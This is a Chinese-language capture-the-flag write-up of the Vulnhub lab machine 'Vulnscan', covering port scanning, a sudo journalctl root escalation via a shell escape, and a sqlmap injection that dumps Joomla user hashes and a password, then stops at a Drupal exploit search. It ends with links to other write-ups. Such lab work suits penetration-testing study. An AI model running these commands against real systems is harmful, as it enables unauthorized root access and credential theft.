Vulnhub系列--Vulnscan

tragte IP: 192.168.139.136

信息收集

nmap -A 192.168.139.136

开放5个服务，分别为：

22: ssh
5000: wordpress
80: http
8081: joomla
9001: Drupal

逐个分析漏洞

wordpress

发现存在一个命令执行：

http://fsociety.web:5000/admin-wp/

依据时间发现存在用户名和密码，可以直接登录，反弹shell一直失败

登录后可以得到：

journalctl不需要密码直接root执行，利用方式：https://gtfobins.github.io/gtfobins/journalctl/

使用方式：

sudo /bin/journalctl
!/bin/bash

joomla

发现存在sql注入，直接注入可得用户名和密码：

sqlmap -u "http://192.168.139.136:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" -D joomla_db -T hs23w_users  --dump

username	password	email
joomlaCMS_admin	$2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee	Fluntence54@armyspy.com
elliot	$2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy	5T3e!_M0un7i@N

可以看到elliot的邮箱就是密码，可以直接登录:

Drupal

版本为7.54，搜索exploit：

Vulnhub系列--Vulnscan相关推荐

Vulnhub系列：Raven 1
该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag.下面开始我们今天的渗透之旅.Raven靶机有很多种思路,我将对其进行一一整理. 首先进行信息收集,利用arp-scan和nmap,进行靶机的 ...
VulnHub系列之Lampiao渗透测试
Lampiao 靶机下载:https://www.vulnhub.com/entry/lampiao-1,249/ 信息收集首先是ip信息然后是服务器端口服务等信息访问80端口扫描80端口网站 ...
【Vulnhub系列】DC1
文章目录基本信息实验过程额外内容使用CVE2014-3704添加管理账号另一种查询具有root权限命令的find语句下载地址:https://www.vulnhub.com/entry/d ...
Vulnhub系列：FristLeaks
一.配置靶机环境以往的靶机,本人是在virtual box中,去配置,和vm上的kali进行联动,但是这个靶机需要DHCP,以往的方式可能不太行了,或者可以在virtual box中桥接成统一网卡. ...
VulnHub系列之Jarbas渗透测试
jarbas 虚拟机:https://www.vulnhub.com/entry/jarbas-1,232/ 信息收集将下载好的服务器开机后登录不了,不知道ip ,只能将攻击机和服务器置于同一网段 ...
【Vulnhub系列】DC3
文章目录基本信息实验过程额外补充利用php反弹shell 使用Linux-Exploit-suggestion来辅助提权靶机下载地址:https://download.vulnhub.com ...
『VulnHub系列』Hacker Fest: 2019-Walkthrough
靶机地址难度:初级+1 靶机描述: The machine was part of my workshop for Hacker Fest 2019 at Prague. Difficulty le ...
『VulnHub系列』DC: 9-Walkthrough
靶机地址难度:中等靶机发布日期:2019年12月29日靶机描述:DC-9 is another purposely built vulnerable lab with the intent of ...
『VulnHub系列』EnuBox_Mattermost-Walkthrough
靶机地址难度:初级++ 靶机发布日期:2020年1月6日靶机描述:Description: The Mattermost chatting system may or may not hold s ...